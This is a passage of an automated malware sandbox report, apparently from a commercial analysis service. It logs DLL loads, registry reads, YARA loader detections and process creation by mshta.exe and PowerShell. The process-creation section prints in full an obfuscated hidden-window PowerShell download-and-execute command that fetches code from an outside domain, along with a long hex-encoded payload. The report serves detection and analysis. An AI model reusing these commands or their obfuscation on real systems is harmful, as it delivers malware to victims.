Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: powershell.exe, 00000006.00000002.3467126225.00000000030A0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: powershell.exe, 00000006.00000002.3467126225.00000000030A0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: powershell.exe, 00000006.00000002.3510342893.00000000074D0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: powershell.exe, 00000006.00000002.3510342893.00000000074D0000.00000004.08000000.00040000.00000000.sdmp

Data Obfuscation

.NET source code contains potential unpacker

Source: 6.2.powershell.exe.30a0000.0.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 6.2.powershell.exe.30a0000.0.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 6.2.powershell.exe.30a0000.0.raw.unpack, XmlSerializationHelper.cs	.Net Code: ReadObjectProperties
Source: 6.2.powershell.exe.74d0000.2.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
Source: 6.2.powershell.exe.74d0000.2.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 6.2.powershell.exe.74d0000.2.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 6.2.powershell.exe.74d0000.2.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 6.2.powershell.exe.74d0000.2.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: FromBase64String($Z));$ByteStRIng = $ENC.$ASk1r0SzJ9w7hlI1lzDwd6IqFQAkaVGMEN1fkiV4kcfSFvzFnWv14rftd4lwO5cHUNH3qIAY2a68CgayXC47vIBwZWbOUQJsQcXG2eyiTBO0zFKHSgnE4NhjKtZuMdEAok03qz8HjbVZUM6zPeez4UzgGWAwOd

Suspicious powershell command line found

Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function htXbx($EYwy){return -split ($EYwy -replace '..', '0x$& ')};$sMkL = htXbx('0F7A7222E17CFB1BB92172CFD10B1A0A35F2D236DE6DD8D72D66B13FEDB4D7CF6A19FA5E844D4EA4BDA294B8324F3D40BBE3A32FA2F602F7EEC40E64690703556F440E32E54DB889F70490BFAB024711BA156E7EF3961FB117120CBA4913EA1E5D84ACF6F55EBA7C85C4EDEAE94CA6F88E91D98428FF8C02DEA04EB6BC87CD7054DA2412B8E711F8C1A790EDD10E33300549B54953E993973674C4C6B322DF9A94608D0E38BF1B68335F96BFDC063A0ACAC3F5674C4FB62FD421AFD6B98437F6E9805448603B36D23A3100350C5424A024DEBEE06EFCCB25BC5C2ED9E55F0ECDF8D82A5F5B3DDE3DD01D9414613DC77C41FF3714787CA86BAB941A84FA1697BFD67AE1442E846F4C0BCD12067B97F4C4761C790D99134685BD29D33EB13930E881348CCEB581A392F1C4D3A954998DE262A182E3BA192BC030972631DFF7761B192A8E761FB393F15CEC5503F481993757B7386A6DEFCB30893CB5510F8D9DFCD357A4503657121993C1DA20619FC16A76829A33DC8BEC2C25B345E40D743AE3FA6908A2256106EDB3D401A541BBC6B63D25361ED338A28142AEDFD2E2AFA4224709FD2AB99578CAD2D426AC01B625107469B2CFC6F80544CD0418A85DF7B0034592F05C391690F1CB1F0E38C8C36984958B671982168DA7FCD4BA7B76DA7D1F52FBD0449C19027B914FDE6DE5FAAA8CB6BF3F2A4274A8F5CCEED4E85FE2BAE43E079DB816A326CFEC5CF89E8BDA8C7656D7ABB681564558044E3E53669EE9994092F98411AB22F4889A3454BB3DA6791DB0F9C47830F4C06A5461824C4CD5AF8028E685AAA4298897434D4728EDCF0C7F21C0C4A773C3B93B8D500AD8247E5F882A6D58627B2848A409F59326CE2F3C94419453CBD81D72A42EFC7700BF0F755EBF04E26ADC65680A8AB81DC31B386413F68BDCDF1C0851EABFB0BBAE9CCC1EEC68F50A6C1E0D56474F854AE2306A1E2A3F8B94A0127DD3E51C4A536048EF14CDBF4B53A4E0C3EEFEFA4EED2CFE4541E54F2D69773940D13F9015002C0555FDC45820883EE8D40D25214D7139E6E12032C2BFE100C55FA40524F297C439B1A01353D2284C6CEF35AC57E4400EDA829B3E642624CDFA0BC2973809DC3345E9E56C2D1156147CEA34B91CFFF59896E54208B4CFD4207A17F7308C33D76C6413AB80C8D92695DDC466BC03F75D4179A7F1740B7A3E5A6C6D80F2FB8D74FFB55BD62E27D14A6503857D18986D8E19A1D8E35AD79FEE150ABE148D1B1C3E2D9D92C0B0BDF7DE18DFF55FD02B3212CC62401C8900CAECAAADE5361BFC807F5384EEA46BABDA1F2032769CDA2B56A725574AD832150B7026D06D0547D37743BD92A3253A6BE7C4BE7457307E6CDE57B7840C35ECC06809A8FA8BF2351601EA6C1E3A025BA6CD107626BBF16CFED99355A4AC130AD2BEF7D8E3B1D936DC4D667BAE44082E02E0251C2355712885575901AEFDC0139AA662D0B9C4ACBF7403673B3C7DDF9E6E3AB15A286FC41C2D998ED91EDD22436BA61DD3F3D745E36681712D110962FBD642A2CB901801E7AF328696116A425AC0D6F7C474A297EBC5F89A3C52EE8DB03DE0214B816208AD47E4A4EB4864F152130AEA847AD1031A9DDED4248D031BCE58B447EB0CC8763D2CDBF3348D053D54B42C707D6DE3B3166FBF46CFB8F8AB676945A5D0B7FF4DD2DAF54B40F69592D58649EFE2B1F4CDADC627160733882C0C916DE660976CBCD588F71A3D08308A76F8B82ED698B928D9B2C66911F8A2975942AC360069AC4B4D6C8C7E50E99B0CBD066A58477B4F336F9B12A5FE792E23ED42C6032B887E634ABCA3D08214B16E5953BBD4FFBD057E229E4B7A149D754E75229CD7B38CB289B484AE636864DAFC411FEA976653DC57F0E7B6EA81960AC0059DB8FD2E23F7D92ABD90CDC902BB6F71F0094EF783BB18777A34E0B7531A8C1A945811E9CB1DB684D8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command Set-Item Variable:/B 'Net.WebClient';SV plm 'https://atsuka.thrivezest.org/hubus.xlsx';sl;SI Variable:\z (.$ExecutionContext.(($ExecutionContext\|GM)[6].Name).(($ExecutionContext.(($ExecutionContext\|GM)[6].Name).PsObject.Methods\|Where-Object{(DIR Variable:\_).Value.Name-like'GCmt'}).Name).Invoke($ExecutionContext.(($ExecutionContext\|GM)[6].Name).(($ExecutionContext.(($ExecutionContext\|GM)[6].Name)\|GM\|Where-Object{(DIR Variable:\_).Value.Name-like'Come'}).Name).Invoke('w-ct',1,$TRUE))(ChildItem Variable:\B).Value);SI Variable:O ((((Variable z).Value\|GM)\|Where-Object{(DIR Variable:\_).Value.Name-like'wng'}).Name);($ExecutionContext\|ForEach{(DIR Variable:\_).Value.(($ExecutionContext\|GM)[6].Name)\|ForEach{$_.(($ExecutionContext.(($ExecutionContext\|GM)[6].Name).PsObject.Methods\|Where-Object{(DIR Variable:\_).Value.Name-like'wi*ck'}).Name).Invoke((Variable z).Value.((GV O -ValueO)).Invoke((Variable plm).Value))}}).Invoke()
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function htXbx($EYwy){return -split ($EYwy -replace '..', '0x$& ')};$sMkL = htXbx('0F7A7222E17CFB1BB92172CFD10B1A0A35F2D236DE6DD8D72D66B13FEDB4D7CF6A19FA5E844D4EA4BDA294B8324F3D40BBE3A32FA2F602F7EEC40E64690703556F440E32E54DB889F70490BFAB024711BA156E7EF3961FB117120CBA4913EA1E5D84ACF6F55EBA7C85C4EDEAE94CA6F88E91D98428FF8C02DEA04EB6BC87CD7054DA2412B8E711F8C1A790EDD10E33300549B54953E993973674C4C6B322DF9A94608D0E38BF1B68335F96BFDC063A0ACAC3F5674C4FB62FD421AFD6B98437F6E9805448603B36D23A3100350C5424A024DEBEE06EFCCB25BC5C2ED9E55F0ECDF8D82A5F5B3DDE3DD01D9414613DC77C41FF3714787CA86BAB941A84FA1697BFD67AE1442E846F4C0BCD12067B97F4C4761C790D99134685BD29D33EB13930E881348CCEB581A392F1C4D3A954998DE262A182E3BA192BC030972631DFF7761B192A8E761FB393F15CEC5503F481993757B7386A6DEFCB30893CB5510F8D9DFCD357A4503657121993C1DA20619FC16A76829A33DC8BEC2C25B345E40D743AE3FA6908A2256106EDB3D401A541BBC6B63D25361ED338A28142AEDFD2E2AFA4224709FD2AB99578CAD2D426AC01B625107469B2CFC6F80544CD0418A85DF7B0034592F05C391690F1CB1F0E38C8C36984958B671982168DA7FCD4BA7B76DA7D1F52FBD0449C19027B914FDE6DE5FAAA8CB6BF3F2A4274A8F5CCEED4E85FE2BAE43E079DB816A326CFEC5CF89E8BDA8C7656D7ABB681564558044E3E53669EE9994092F98411AB22F4889A3454BB3DA6791DB0F9C47830F4C06A5461824C4CD5AF8028E685AAA4298897434D4728EDCF0C7F21C0C4A773C3B93B8D500AD8247E5F882A6D58627B2848A409F59326CE2F3C94419453CBD81D72A42EFC7700BF0F755EBF04E26ADC65680A8AB81DC31B386413F68BDCDF1C0851EABFB0BBAE9CCC1EEC68F50A6C1E0D56474F854AE2306A1E2A3F8B94A0127DD3E51C4A536048EF14CDBF4B53A4E0C3EEFEFA4EED2CFE4541E54F2D69773940D13F9015002C0555FDC45820883EE8D40D25214D7139E6E12032C2BFE100C55FA40524F297C439B1A01353D2284C6CEF35AC57E4400EDA829B3E642624CDFA0BC2973809DC3345E9E56C2D1156147CEA34B91CFFF59896E54208B4CFD4207A17F7308C33D76C6413AB80C8D92695DDC466BC03F75D4179A7F1740B7A3E5A6C6D80F2FB8D74FFB55BD62E27D14A6503857D18986D8E19A1D8E35AD79FEE150ABE148D1B1C3E2D9D92C0B0BDF7DE18DFF55FD02B3212CC62401C8900CAECAAADE5361BFC807F5384EEA46BABDA1F2032769CDA2B56A725574AD832150B7026D06D0547D37743BD92A3253A6BE7C4BE7457307E6CDE57B7840C35ECC06809A8FA8BF2351601EA6C1E3A025BA6CD107626BBF16CFED99355A4AC130AD2BEF7D8E3B1D936DC4D667BAE44082E02E0251C2355712885575901AEFDC0139AA662D0B9C4ACBF7403673B3C7DDF9E6E3AB15A286FC41C2D998ED91EDD22436BA61DD3F3D745E36681712D110962FBD642A2CB901801E7AF328696116A425AC0D6F7C474A297EBC5F89A3C52EE8DB03DE0214B816208AD47E4A4EB4864F152130AEA847AD1031A9DDED4248D031BCE58B447EB0CC8763D2CDBF3348D053D54B42C707D6DE3B3166FBF46CFB8F8AB676945A5D0B7FF4DD2DAF54B40F69592D58649EFE2B1F4CDADC627160733882C0C916DE660976CBCD588F71A3D08308A76F8B82ED698B928D9B2C66911F8A2975942AC360069AC4B4D6C8C7E50E99B0CBD066A58477B4F336F9B12A5FE792E23ED42C6032B887E634ABCA3D08214B16E5953BBD4FFBD057E229E4B7A149D754E75229CD7B38CB289B484AE636864DAFC411FEA976653DC57F0E7B6EA81960AC0059DB8FD2E23F7D92ABD90CDC902BB6F71F0094EF783BB18777A34E0B7531A8C1A945811E9CB1DB684D8	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command Set-Item Variable:/B 'Net.WebClient';SV plm 'https://atsuka.thrivezest.org/hubus.xlsx';sl;SI Variable:\z (.$ExecutionContext.(($ExecutionContext\|GM)[6].Name).(($ExecutionContext.(($ExecutionContext\|GM)[6].Name).PsObject.Methods\|Where-Object{(DIR Variable:\_).Value.Name-like'GCmt'}).Name).Invoke($ExecutionContext.(($ExecutionContext\|GM)[6].Name).(($ExecutionContext.(($ExecutionContext\|GM)[6].Name)\|GM\|Where-Object{(DIR Variable:\_).Value.Name-like'Come'}).Name).Invoke('w-ct',1,$TRUE))(ChildItem Variable:\B).Value);SI Variable:O ((((Variable z).Value\|GM)\|Where-Object{(DIR Variable:\_).Value.Name-like'wng'}).Name);($ExecutionContext\|ForEach{(DIR Variable:\_).Value.(($ExecutionContext\|GM)[6].Name)\|ForEach{$_.(($ExecutionContext.(($ExecutionContext\|GM)[6].Name).PsObject.Methods\|Where-Object{(DIR Variable:\_).Value.Name-like'wi*ck'}).Name).Invoke((Variable z).Value.((GV O -ValueO)).Invoke((Variable plm).Value))}}).Invoke()	Jump to behavior

Yara detected Costura Assembly Loader

Source: Yara match	File source: 6.2.powershell.exe.73c0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.3505131784.00000000073C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

Yara detected MSILLoadEncryptedAssembly

Source: Yara match

File source: Process Memory Space: powershell.exe PID: 1428, type: MEMORYSTR

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_0325B8A5 push ebx; retf	6_2_0325B8B2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_07158CD5 push FFFFFF8Bh; retf	6_2_07158CD7
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_07390DCC push esp; retf	6_2_07390DCD
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_074B0261 push dword ptr [ebx+esi-75h]; iretd	6_2_074B026D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_074CAD7A push ds; iretd	6_2_074CAD81
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_074CB993 push es; ret	6_2_074CB999
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_0862FD98 push eax; ret	6_2_0862FD99
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_0862CF52 push FFFFFF8Bh; iretd	6_2_0862CF59
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_086242E2 push BC088E39h; iretd	6_2_086242ED
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_0043DA00 push eax; mov dword ptr [esp], F9F8F7A6h	22_2_0043DA02
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00446233 pushfd ; iretd	22_2_00446242
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_004462A7 pushfd ; iretd	22_2_00446242
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_0043AC40 push eax; mov dword ptr [esp], E2E3E4E5h	22_2_0043AC4E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 22_2_00443F28 push esp; iretd	22_2_00443F3C

Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
